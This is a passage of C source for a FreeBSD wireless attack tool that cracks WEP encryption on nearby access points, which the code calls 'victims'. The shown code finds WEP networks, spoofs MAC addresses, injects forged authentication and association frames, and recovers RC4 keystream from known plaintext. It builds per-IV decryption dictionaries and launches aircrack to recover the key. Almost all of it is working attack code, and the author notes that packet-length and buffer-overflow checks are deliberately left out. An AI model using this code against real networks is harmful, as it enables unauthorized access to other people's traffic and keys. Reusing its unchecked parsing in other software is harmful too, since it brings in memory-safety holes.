1 /*
2  * wep owner by sorbo <sorbox@yahoo.com>
3  * Aug 2005
4  *
5  * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6  * overflows.  this whole thing is experimental n e way.
7  *
8  * $FreeBSD$
9  */
10 
11 #include <sys/types.h>
12 #include <sys/socket.h>
13 #include <sys/ioctl.h>
14 #include <sys/endian.h>
15 #include <sys/stat.h>
16 #include <sys/wait.h>
17 #include <sys/uio.h>
18 #include <net/if.h>
19 #include <net/if_media.h>
20 #include <net/if_llc.h>
21 #include <net/if_arp.h>
22 #include <net/if_types.h>
23 #include <net/if_dl.h>
24 #include <net/bpf.h>
25 #include <net/ethernet.h>
26 #include <net80211/ieee80211.h>
27 #include <net80211/ieee80211_ioctl.h>
28 #include <net80211/ieee80211_radiotap.h>
29 #include <net80211/ieee80211_freebsd.h>
30 #include <netinet/in.h>
31 #include <netinet/in_systm.h>
32 #include <netinet/ip.h>
33 #include <netinet/udp.h>
34 #include <arpa/inet.h>
35 #include <stdlib.h>
36 #include <stdio.h>
37 #include <unistd.h>
38 #include <string.h>
39 #include <fcntl.h>
40 #include <errno.h>
41 #include <assert.h>
42 #include <zlib.h>
43 #include <signal.h>
44 #include <stdarg.h>
45 #include <err.h>
46 #include <pcap.h>
47 
48 #include "aircrack-ptw-lib.h"
49 
50 #define FIND_VICTIM		0
51 #define FOUND_VICTIM		1
52 #define SENDING_AUTH		2
53 #define GOT_AUTH		3
54 #define SPOOF_MAC		4
55 #define SENDING_ASSOC		5
56 #define GOT_ASSOC		6
57 
58 int state = 0;
59 
60 struct timeval arpsend;
61 
62 struct tx_state {
63 	int waiting_ack;
64 	struct timeval tsent;
65 	int retries;
66 	unsigned int psent;
67 } txstate;
68 
69 struct chan_info {
70 	int s;
71 	struct ieee80211req ireq;
72 	int chan;
73 } chaninfo;
74 
75 struct victim_info {
76 	char* ssid;
77 	int chan;
78 	char bss[6];
79 } victim;
80 
81 struct frag_state {
82 	struct ieee80211_frame wh;
83 	unsigned char* data;
84 	int len;
85 	unsigned char* ptr;
86 	int waiting_relay;
87 	struct timeval last;
88 } fragstate;
89 
90 struct prga_info {
91 	unsigned char* prga;
92 	unsigned int len;
93 	unsigned char iv[3];
94 } prgainfo;
95 
96 struct decrypt_state {
97 	unsigned char* cipher;
98 	int clen;
99 	struct prga_info prgainfo;
100 	struct frag_state fragstate;
101 } decryptstate;
102 
103 struct wep_log {
104 	unsigned int packets;
105 	unsigned int rate;
106 	int fd;
107 	unsigned char iv[3];
108 } weplog;
109 
110 #define LINKTYPE_IEEE802_11     105
111 #define TCPDUMP_MAGIC           0xA1B2C3D4
112 
113 unsigned char* floodip = 0;
114 unsigned short floodport = 6969;
115 unsigned short floodsport = 53;
116 
117 unsigned char* netip = 0;
118 int netip_arg = 0;
119 int max_chan = 11;
120 
121 unsigned char* rtrmac = 0;
122 
123 unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
124 unsigned char myip[16] = "192.168.0.123";
125 
126 int bits = 0;
127 int ttl_val = 0;
128 
129 PTW_attackstate *ptw;
130 
131 unsigned char *victim_mac = 0;
132 
133 int ack_timeout = 100*1000;
134 
135 #define ARPLEN (8+ 8 + 20)
136 unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
137 unsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
138 #define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
139 #define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
140 #define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
141 
142 #define MCAST_PREF "\x01\x00\x5e\x00\x00"
143 
144 #define WEP_FILE "wep.cap"
145 #define KEY_FILE "key.log"
146 #define PRGA_FILE "prga.log"
147 
148 unsigned int min_prga =  128;
149 
150 /*
151  * When starting aircrack we try first to use a
152  * local copy, falling back to where the installed
153  * version is expected.
154  * XXX builtin pathnames
155  */
156 #define CRACK_LOCAL_CMD "../aircrack/aircrack"
157 #define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
158 
159 #define INCR 10000
160 int thresh_incr = INCR;
161 
162 #define MAGIC_TTL_PAD 69
163 
164 int crack_dur = 60;
165 int wep_thresh = INCR;
166 int crack_pid = 0;
167 struct timeval crack_start;
168 struct timeval real_start;
169 
170 /* linksys does this.  The hardware pads small packets. */
171 #define PADDED_ARPLEN 54
172 
173 #define PRGA_LEN (1500-14-20-8)
174 unsigned char inet_clear[8+20+8+PRGA_LEN+4];
175 
176 #define DICT_PATH "dict"
177 #define TAP_DEV "/dev/tap3"
178 unsigned char tapdev[16];
179 unsigned char taptx[4096];
180 unsigned int taptx_len = 0;
181 int tapfd = -1;
182 
183 /********** RIPPED
184 ************/
185 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
186   register long sum;
187   u_short oddbyte;
188   register u_short answer;
189 
190   sum = 0;
191   while (nbytes > 1)
192     {
193       sum += *ptr++;
194       nbytes -= 2;
195     }
196 
197   if (nbytes == 1)
198     {
199       oddbyte = 0;
200       *((u_char *) & oddbyte) = *(u_char *) ptr;
201       sum += oddbyte;
202     }
203 
204   sum = (sum >> 16) + (sum & 0xffff);
205   sum += (sum >> 16);
206   answer = ~sum;
207   return (answer);
208 }
209 /**************
210 ************/
211 
212 unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
213                           struct in_addr *dip) {
214         unsigned char *tmp;
215         struct ippseudo *ph;
216 
217         tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
218         if(!tmp)
219 		err(1, "malloc()");
220 
221         ph = (struct ippseudo*) tmp;
222 
223         memcpy(&ph->ippseudo_src, sip, 4);
224         memcpy(&ph->ippseudo_dst, dip, 4);
225         ph->ippseudo_pad =  0;
226         ph->ippseudo_p = IPPROTO_UDP;
227         ph->ippseudo_len = htons(len);
228 
229         memcpy(tmp + sizeof(struct ippseudo), stuff, len);
230 
231         return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
232 }
233 
234 void time_print(char* fmt, ...) {
235         va_list ap;
236         char lame[1024];
237 	time_t tt;
238 	struct tm *t;
239 
240         va_start(ap, fmt);
241         vsnprintf(lame, sizeof(lame), fmt, ap);
242         va_end(ap);
243 
244 	tt = time(NULL);
245 
246 	if (tt == (time_t)-1) {
247 		perror("time()");
248 		exit(1);
249 	}
250 
251 	t = localtime(&tt);
252 	if (!t) {
253 		perror("localtime()");
254 		exit(1);
255 	}
256 
257 	printf("[%.2d:%.2d:%.2d] %s",
258 	       t->tm_hour, t->tm_min, t->tm_sec, lame);
259 }
260 
261 void check_key() {
262 	char buf[1024];
263 	int fd;
264 	int rd;
265 	struct timeval now;
266 
267 	fd = open(KEY_FILE, O_RDONLY);
268 
269 	if (fd == -1) {
270 		return;
271 	}
272 
273 	rd = read(fd, buf, sizeof(buf) -1);
274 	if (rd == -1) {
275 		perror("read()");
276 		exit(1);
277 	}
278 
279 	buf[rd] = 0;
280 
281 	close(fd);
282 
283 	printf ("\n\n");
284 	time_print("KEY=(%s)\n", buf);
285 
286 	if (gettimeofday(&now, NULL) == -1) {
287 		perror("gettimeofday()");
288 		exit(1);
289 	}
290 
291 	printf ("Owned in %.02f minutes\n",
292 		((double) now.tv_sec - real_start.tv_sec)/60.0);
293 	exit(0);
294 }
295 
296 void kill_crack() {
297 	if (crack_pid == 0)
298 		return;
299 
300 	printf("\n");
301 	time_print("Stopping crack PID=%d\n", crack_pid);
302 
303 	// XXX doesn't return -1 for some reason! [maybe on my box... so it
304 	// might be buggy on other boxes...]
305 	if (kill(crack_pid, SIGINT) == -1) {
306 		perror("kill()");
307 		exit(1);
308 	}
309 
310 	crack_pid = 0;
311 
312 	check_key();
313 }
314 
315 void cleanup(int x) {
316 	time_print("\nDying...\n");
317 
318 	if (weplog.fd)
319 		close(weplog.fd);
320 
321 	kill_crack();
322 
323 	exit(0);
324 }
325 
326 void set_chan(int c) {
327 	if (c == chaninfo.chan)
328 		return;
329 
330 	chaninfo.ireq.i_val = c;
331 
332 	if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
333 		perror("ioctl(SIOCS80211) [chan]");
334 		exit(1);
335 	}
336 	chaninfo.chan = c;
337 }
338 
339 void set_if_mac(unsigned char* mac, unsigned char *name) {
340 	int s;
341 	struct ifreq ifr;
342 
343 	s = socket(PF_INET, SOCK_DGRAM, 0);
344 	if (s == -1) {
345 		perror("socket()");
346 		exit(1);
347 	}
348 
349 	memset(&ifr, 0, sizeof(ifr));
350 	strcpy(ifr.ifr_name, name);
351 
352 	ifr.ifr_addr.sa_family = AF_LINK;
353 	ifr.ifr_addr.sa_len = 6;
354 	memcpy(ifr.ifr_addr.sa_data, mac, 6);
355 
356 	if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
357 		perror("ioctl(SIOCSIFLLADDR)");
358 		exit(1);
359 	}
360 
361 	close(s);
362 }
363 
364 void setup_if(char *dev) {
365 	int s;
366 	struct ifreq ifr;
367 	unsigned int flags;
368 	struct ifmediareq ifmr;
369 	int *mwords;
370 
371 	if(strlen(dev) >= IFNAMSIZ) {
372 		time_print("Interface name too long...\n");
373 		exit(1);
374 	}
375 
376 	time_print("Setting up %s... ", dev);
377 	fflush(stdout);
378 
379 	set_if_mac(mymac, dev);
380 
381 	s = socket(PF_INET, SOCK_DGRAM, 0);
382 	if (s == -1) {
383 		perror("socket()");
384 		exit(1);
385 	}
386 
387 	// set chan
388 	memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
389 	strcpy(chaninfo.ireq.i_name, dev);
390 	chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
391 
392 	chaninfo.chan = 0;
393 	chaninfo.s = s;
394 	set_chan(1);
395 
396 	// set iface up and promisc
397 	memset(&ifr, 0, sizeof(ifr));
398 	strcpy(ifr.ifr_name, dev);
399 	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
400 		perror("ioctl(SIOCGIFFLAGS)");
401 		exit(1);
402 	}
403 
404 	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
405 	flags |= IFF_UP | IFF_PPROMISC;
406 
407 	memset(&ifr, 0, sizeof(ifr));
408 	strcpy(ifr.ifr_name, dev);
409 	ifr.ifr_flags = flags & 0xffff;
410 	ifr.ifr_flagshigh = flags >> 16;
411 	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
412 		perror("ioctl(SIOCSIFFLAGS)");
413 		exit(1);
414 	}
415 
416 	printf("done\n");
417 }
418 
419 int open_bpf(char *dev, int dlt) {
420         int i;
421         char buf[64];
422         int fd = -1;
423         struct ifreq ifr;
424 
425         for(i = 0;i < 16; i++) {
426                 sprintf(buf, "/dev/bpf%d", i);
427 
428                 fd = open(buf, O_RDWR);
429                 if(fd < 0) {
430                         if(errno != EBUSY) {
431                                 perror("can't open /dev/bpf");
432                                 exit(1);
433                         }
434                         continue;
435                 }
436                 else
437                         break;
438         }
439 
440         if(fd < 0) {
441                 perror("can't open /dev/bpf");
442                 exit(1);
443         }
444 
445         strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
446         ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
447 
448         if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
449                 perror("ioctl(BIOCSETIF)");
450                 exit(1);
451         }
452 
453         if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
454                 perror("ioctl(BIOCSDLT)");
455                 exit(1);
456         }
457 
458         i = 1;
459         if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
460                 perror("ioctl(BIOCIMMEDIATE)");
461                 exit(1);
462         }
463 
464         return fd;
465 }
466 
467 void hexdump(unsigned char *ptr, int len) {
468         while(len > 0) {
469                 printf("%.2X ", *ptr);
470                 ptr++; len--;
471         }
472         printf("\n");
473 }
474 
475 char* mac2str(unsigned char* mac) {
476 	static char ret[6*3];
477 
478 	sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
479 		mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
480 
481 	return ret;
482 }
483 
484 void inject(int fd, void *buf, int len)
485 {
486 	static struct ieee80211_bpf_params params = {
487 		.ibp_vers = IEEE80211_BPF_VERSION,
488 		/* NB: no need to pass series 2-4 rate+try */
489 		.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
490 		.ibp_rate0 = 2,		/* 1 MB/s XXX */
491 		.ibp_try0 = 1,		/* no retransmits */
492 		.ibp_flags = IEEE80211_BPF_NOACK,
493 		.ibp_power = 100,	/* nominal max */
494 		.ibp_pri = WME_AC_VO,	/* high priority */
495 	};
496 	struct iovec iov[2];
497 	int rc;
498 
499 	iov[0].iov_base = &params;
500 	iov[0].iov_len = params.ibp_len;
501 	iov[1].iov_base = buf;
502 	iov[1].iov_len = len;
503 	rc = writev(fd, iov, 2);
504 	if(rc == -1) {
505 		perror("writev()");
506 		exit(1);
507 	}
508 	if (rc != (len + iov[0].iov_len)) {
509 		time_print("Error Wrote %d out of %d\n", rc,
510 			   len+iov[0].iov_len);
511 		exit(1);
512 	}
513 }
514 
515 void send_frame(int tx, unsigned char* buf, int len) {
516 	static unsigned char* lame = 0;
517 	static int lamelen = 0;
518 	static int lastlen = 0;
519 
520 	// retransmit!
521 	if (len == -1) {
522 		txstate.retries++;
523 
524 		if (txstate.retries > 10) {
525 			time_print("ERROR Max retransmists for (%d bytes):\n",
526 			       lastlen);
527 			hexdump(&lame[0], lastlen);
528 //			exit(1);
529 		}
530 		len = lastlen;
531 //		printf("Warning doing a retransmit...\n");
532 	}
533 	// normal tx
534 	else {
535 		assert(!txstate.waiting_ack);
536 
537 		if (len > lamelen) {
538 			if (lame)
539 				free(lame);
540 
541 			lame = (unsigned char*) malloc(len);
542 			if(!lame) {
543 				perror("malloc()");
544 				exit(1);
545 			}
546 
547 			lamelen = len;
548 		}
549 
550 		memcpy(lame, buf, len);
551 		txstate.retries = 0;
552 		lastlen = len;
553 	}
554 
555 	inject(tx, lame, len);
556 
557 	txstate.waiting_ack = 1;
558 	txstate.psent++;
559 	if (gettimeofday(&txstate.tsent, NULL) == -1) {
560 		perror("gettimeofday()");
561 		exit(1);
562 	}
563 
564 #if 0
565 	printf("Wrote frame at %lu.%lu\n",
566 	       txstate.tsent.tv_sec, txstate.tsent.tv_usec);
567 #endif
568 }
569 
570 unsigned short fnseq(unsigned short fn, unsigned short seq) {
571         unsigned short r = 0;
572 
573         if(fn > 15) {
574                 time_print("too many fragments (%d)\n", fn);
575                 exit(1);
576         }
577 
578         r = fn;
579 
580         r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
581 
582         return r;
583 }
584 
585 void fill_basic(struct ieee80211_frame* wh) {
586 	unsigned short* sp;
587 
588 	memcpy(wh->i_addr1, victim.bss, 6);
589 	memcpy(wh->i_addr2, mymac, 6);
590 	memcpy(wh->i_addr3, victim.bss, 6);
591 
592 
593 
594 	sp = (unsigned short*) wh->i_seq;
595 	*sp = fnseq(0, txstate.psent);
596 
597 	sp = (unsigned short*) wh->i_dur;
598 	*sp = htole16(32767);
599 }
600 
601 void send_assoc(int tx) {
602 	unsigned char buf[128];
603 	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
604 	unsigned char* body;
605 	int ssidlen;
606 
607 	memset(buf, 0, sizeof(buf));
608 	fill_basic(wh);
609 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
610 
611 	body = (unsigned char*) wh + sizeof(*wh);
612 	*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
613 	// cap + interval
614 	body += 2 + 2;
615 
616 	// ssid
617 	*body++ = 0;
618 	ssidlen = strlen(victim.ssid);
619 	*body++ = ssidlen;
620 	memcpy(body, victim.ssid, ssidlen);
621 	body += ssidlen;
622 
623 	// rates
624 	*body++ = 1;
625 	*body++ = 4;
626 	*body++ = 2;
627 	*body++ = 4;
628 	*body++ = 11;
629 	*body++ = 22;
630 
631 	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
632 			    strlen(victim.ssid) + 2 + 4);
633 }
634 
635 void wepify(unsigned char* body, int dlen) {
636 	uLong crc;
637 	unsigned long *pcrc;
638 	int i;
639 
640 	assert(dlen + 4 <= prgainfo.len);
641 
642 	// iv
643 	memcpy(body, prgainfo.iv, 3);
644 	body +=3;
645 	*body++ = 0;
646 
647 	// crc
648 	crc = crc32(0L, Z_NULL, 0);
649 	crc = crc32(crc, body, dlen);
650 	pcrc = (unsigned long*) (body+dlen);
651 	*pcrc = crc;
652 
653 	for (i = 0; i < dlen +4; i++)
654 		*body++ ^= prgainfo.prga[i];
655 }
656 
657 void send_auth(int tx) {
658 	unsigned char buf[128];
659 	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
660 	unsigned short* n;
661 
662 	memset(buf, 0, sizeof(buf));
663 	fill_basic(wh);
664 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
665 
666 	n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
667 	n++;
668 	*n = 1;
669 
670 	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
671 }
672 
673 int get_victim_ssid(struct ieee80211_frame* wh, int len) {
674 	unsigned char* ptr;
675 	int x;
676 	int gots = 0, gotc = 0;
677 
678 	if (len <= sizeof(*wh)) {
679 		time_print("Warning: short packet in get_victim_ssid()\n");
680 		return 0;
681 	}
682 
683 	ptr = (unsigned char*)wh + sizeof(*wh);
684 	len -= sizeof(*wh);
685 
686 	// only wep baby
687 	if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
688 		return 0;
689 	}
690 
691 	// we want a specific victim
692 	if (victim_mac) {
693 		if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
694 			return 0;
695 	}
696 
697 	// beacon header
698 	x = 8 + 2 + 2;
699 	if (len <= x) {
700 		time_print("Warning short.asdfasdf\n");
701 		return 0;
702 	}
703 
704 	ptr += x;
705 	len -= x;
706 
707 	// SSID
708 	while(len > 2) {
709 		int eid, elen;
710 
711 		eid = *ptr;
712 		ptr++;
713 		elen = *ptr;
714 		ptr++;
715 		len -= 2;
716 
717 		if (len < elen) {
718 			time_print("Warning short....\n");
719 			return 0;
720 		}
721 
722 		// ssid
723 		if (eid == 0) {
724 			if (victim.ssid)
725 				free(victim.ssid);
726 
727 			victim.ssid = (char*) malloc(elen + 1);
728 			if (!victim.ssid) {
729 				perror("malloc()");
730 				exit(1);
731 			}
732 
733 			memcpy(victim.ssid, ptr, elen);
734 			victim.ssid[elen] = 0;
735 			gots = 1;
736 
737 		}
738 		// chan
739 		else if(eid == 3) {
740 			if( elen != 1) {
741 				time_print("Warning len of chan not 1\n");
742 				return 0;
743 			}
744 
745 			victim.chan = *ptr;
746 			gotc = 1;
747 		}
748 
749 		ptr += elen;
750 		len -= elen;
751 	}
752 
753 	if (gots && gotc) {
754 		memcpy(victim.bss, wh->i_addr3, 6);
755 		set_chan(victim.chan);
756 		state = FOUND_VICTIM;
757 		time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
758 		       victim.ssid, mac2str(victim.bss), victim.chan);
759 		return 1;
760 	}
761 	return 0;
762 }
763 
764 void send_ack(int tx) {
765 	/* firmware acks */
766 }
767 
768 void do_llc(unsigned char* buf, unsigned short type) {
769 	struct llc* h = (struct llc*) buf;
770 
771 	memset(h, 0, sizeof(*h));
772 	h->llc_dsap = LLC_SNAP_LSAP;
773 	h->llc_ssap = LLC_SNAP_LSAP;
774 	h->llc_un.type_snap.control = 3;
775 	h->llc_un.type_snap.ether_type = htons(type);
776 }
777 
778 void calculate_inet_clear() {
779 	struct ip* ih;
780 	struct udphdr* uh;
781 	uLong crc;
782 	unsigned long *pcrc;
783 	int dlen;
784 
785 	memset(inet_clear, 0, sizeof(inet_clear));
786 
787 	do_llc(inet_clear, ETHERTYPE_IP);
788 
789 	ih = (struct ip*) &inet_clear[8];
790 	ih->ip_hl = 5;
791 	ih->ip_v = 4;
792 	ih->ip_tos = 0;
793 	ih->ip_len = htons(20+8+PRGA_LEN);
794 	ih->ip_id = htons(666);
795 	ih->ip_off = 0;
796 	ih->ip_ttl = ttl_val;
797 	ih->ip_p = IPPROTO_UDP;
798 	ih->ip_sum = 0;
799 	inet_aton(floodip, &ih->ip_src);
800 	inet_aton(myip, &ih->ip_dst);
801 	ih->ip_sum = in_cksum((unsigned short*)ih, 20);
802 
803 	uh = (struct udphdr*) ((char*)ih + 20);
804 	uh->uh_sport = htons(floodport);
805 	uh->uh_dport = htons(floodsport);
806 	uh->uh_ulen = htons(8+PRGA_LEN);
807 	uh->uh_sum = 0;
808         uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
809                                   &ih->ip_src, &ih->ip_dst);
810 
811 	// crc
812 	dlen = 8 + 20 + 8 + PRGA_LEN;
813 	assert (dlen + 4 <= sizeof(inet_clear));
814 
815 	crc = crc32(0L, Z_NULL, 0);
816 	crc = crc32(crc, inet_clear, dlen);
817 	pcrc = (unsigned long*) (inet_clear+dlen);
818 	*pcrc = crc;
819 
820 #if 0
821 	printf("INET %d\n", sizeof(inet_clear));
822 	hexdump(inet_clear, sizeof(inet_clear));
823 #endif
824 }
825 
826 void set_prga(unsigned char* iv, unsigned char* cipher,
827 	      unsigned char* clear, int len) {
828 
829 	int i;
830 	int fd;
831 
832 	if (prgainfo.len != 0)
833 		free(prgainfo.prga);
834 
835 	prgainfo.prga = (unsigned char*) malloc(len);
836 	if (!prgainfo.prga) {
837 		perror("malloc()");
838 		exit(1);
839 	}
840 
841 	prgainfo.len = len;
842 	memcpy(prgainfo.iv, iv, 3);
843 
844 	for (i = 0; i < len; i++) {
845 		prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
846 				 	        clear[i]);
847 	}
848 
849 	time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
850 	       prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
851 	hexdump(prgainfo.prga, prgainfo.len);
852 
853 	if (!cipher)
854 		return;
855 
856 	fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
857 		  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
858 
859 	if (fd == -1) {
860 		perror("open()");
861 		exit(1);
862 	}
863 
864 	i = write(fd, prgainfo.iv, 3);
865 	if (i == -1) {
866 		perror("write()");
867 		exit(1);
868 	}
869 	if (i != 3) {
870 		printf("Wrote %d out of %d\n", i, 3);
871 		exit(1);
872 	}
873 
874 	i = write(fd, prgainfo.prga, prgainfo.len);
875 	if (i == -1) {
876 		perror("write()");
877 		exit(1);
878 	}
879 	if (i != prgainfo.len) {
880 		printf("Wrote %d out of %d\n", i, prgainfo.len);
881 		exit(1);
882 	}
883 
884 	close(fd);
885 }
886 
887 
888 void log_dictionary(unsigned char* body, int len) {
889 	char paths[3][3];
890 	int i, rd;
891 	int fd;
892 	unsigned char path[128];
893 	unsigned char file_clear[sizeof(inet_clear)];
894 	unsigned char* data;
895 
896 	len -= 4; // IV etc..
897 	assert (len == sizeof(inet_clear));
898 
899 	data = body +4;
900 
901 	if (len > prgainfo.len)
902 		set_prga(body, data, inet_clear, len);
903 
904 
905 	for (i = 0; i < 3; i++)
906 		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
907 
908 
909 	strcpy(path, DICT_PATH);
910 
911 
912 	// first 2 bytes
913 	for (i = 0; i < 2; i++) {
914 		strcat(path, "/");
915 		strcat(path, paths[i]);
916 		fd = open(path, O_RDONLY);
917 		if (fd == -1) {
918 			if (errno != ENOENT) {
919 				perror("open()");
920 				exit(1);
921 			}
922 
923 			if (mkdir(path, 0755) == -1) {
924 				perror("mkdir()");
925 				exit(1);
926 			}
927 		}
928 		else
929 			close(fd);
930 	}
931 
932 	// last byte
933 	strcat(path, "/");
934 	strcat(path, paths[2]);
935 
936 	fd = open(path, O_RDWR);
937 	// already exists... see if we are consistent...
938 	if (fd != -1) {
939 		rd = read(fd, file_clear, sizeof(file_clear));
940 
941 		if (rd == -1) {
942 			perror("read()");
943 			exit(1);
944 		}
945 
946 		// check consistency....
947 		for (i = 0; i < rd; i++) {
948 			if (file_clear[i] !=
949 			    (data[i] ^ inet_clear[i])) {
950 
951 				printf("Mismatch in byte %d for:\n", i);
952 				hexdump(body, len+4);
953 				exit(1);
954 			}
955 		}
956 
957 		// no need to log
958 		if (i >= sizeof(inet_clear)) {
959 #if 0
960 			time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
961 				body[0], body[1], body[2]);
962 #endif
963 			close(fd);
964 			return;
965 		}
966 
967 		// file has less... fd still open
968 
969 	} else {
970 		fd = open(path, O_WRONLY | O_CREAT, 0644);
971 		if (fd == -1) {
972 			printf("Can't open (%s): %s\n", path,
973 			       strerror(errno));
974 			exit(1);
975 		}
976 	}
977 
978 	assert (sizeof(file_clear) >= sizeof(inet_clear));
979 
980 	for(i = 0; i < len; i++)
981 		file_clear[i] = data[i] ^ inet_clear[i];
982 
983 	rd = write(fd, file_clear, len);
984 	if (rd == -1) {
985 		perror("write()");
986 		exit(1);
987 	}
988 	if (rd != len) {
989 		printf("Wrote %d of %d\n", rd, len);
990 		exit(1);
991 	}
992 	close(fd);
993 }
994 
995 void stuff_for_us(struct ieee80211_frame* wh, int len) {
996 	int type,stype;
997 	unsigned char* body;
998 
999 	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1000 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1001 
1002 	body = (unsigned char*) wh + sizeof(*wh);
1003 
1004 	// CTL
1005 	if (type == IEEE80211_FC0_TYPE_CTL) {
1006 		if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1007 			txstate.waiting_ack = 0;
1008 			return;
1009 		}
1010 
1011 		if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1012 			return;
1013 		}
1014 
1015 		if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1016 			return;
1017 		}
1018 		time_print ("got CTL=%x\n", stype);
1019 		return;
1020 	}
1021 
1022 	// MGM
1023 	if (type == IEEE80211_FC0_TYPE_MGT) {
1024 		if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1025 			unsigned short* rc = (unsigned short*) body;
1026 			printf("\n");
1027 			time_print("Got deauth=%u\n", le16toh(*rc));
1028 			state = FOUND_VICTIM;
1029 			return;
1030 			exit(1);
1031 		}
1032 		else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1033 			unsigned short* sc = (unsigned short*) body;
1034 
1035 			if (*sc != 0) {
1036 				time_print("Warning got auth algo=%x\n", *sc);
1037 				exit(1);
1038 				return;
1039 			}
1040 			sc++;
1041 
1042 			if (*sc != 2) {
1043 				time_print("Warning got auth seq=%x\n", *sc);
1044 				return;
1045 			}
1046 
1047 			sc++;
1048 
1049 			if (*sc == 1) {
1050 				time_print("Auth rejected... trying to spoof mac.\n");
1051 				state = SPOOF_MAC;
1052 				return;
1053 			}
1054 			else if (*sc == 0) {
1055 				time_print("Authenticated\n");
1056 				state = GOT_AUTH;
1057 				return;
1058 			}
1059 			else {
1060 				time_print("Got auth %x\n", *sc);
1061 				exit(1);
1062 			}
1063 		}
1064 		else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1065 			unsigned short* sc = (unsigned short*) body;
1066 			sc++; // cap
1067 
1068 			if (*sc == 0) {
1069 				sc++;
1070 				unsigned int aid = le16toh(*sc) & 0x3FFF;
1071 				time_print("Associated (ID=%x)\n", aid);
1072 				state = GOT_ASSOC;
1073 				return;
1074 		        } else if (*sc == 12) {
1075                                 time_print("Assoc rejected..."
1076                                            " trying to spoof mac.\n");
1077                                 state = SPOOF_MAC;
1078                                 return;
1079 			} else {
1080 				time_print("got assoc %x\n", *sc);
1081 				exit(1);
1082 			}
1083 		} else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1084 			return;
1085 		}
1086 
1087 		time_print("\nGOT MAN=%x\n", stype);
1088 		exit(1);
1089 	}
1090 
1091 	if (type == IEEE80211_FC0_TYPE_DATA &&
1092 	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1093 		int dlen;
1094 		dlen = len - sizeof(*wh) - 4 -4;
1095 
1096 		if (!( wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
1097 			time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1098 				   mac2str(wh->i_addr2), dlen, stype);
1099 				   return;
1100 		}
1101 
1102 		assert (wh->i_fc[1] & IEEE80211_FC1_PROTECTED);
1103 
1104 		if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1105 			rtrmac = (unsigned char *) malloc(6);
1106 			if (!rtrmac) {
1107 				perror("malloc()");
1108 				exit(1);
1109 			}
1110 
1111 			assert( rtrmac > (unsigned char*) 1);
1112 
1113 			memcpy (rtrmac, wh->i_addr3, 6);
1114 			time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1115 
1116 			return;
1117 		}
1118 #if 0
1119 		// check if its a TTL update from dictionary stuff
1120 		if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1121 		    dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1122 			int ttl_delta, new_ttl;
1123 
1124 			ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1125 			new_ttl = 128 - ttl_delta;
1126 
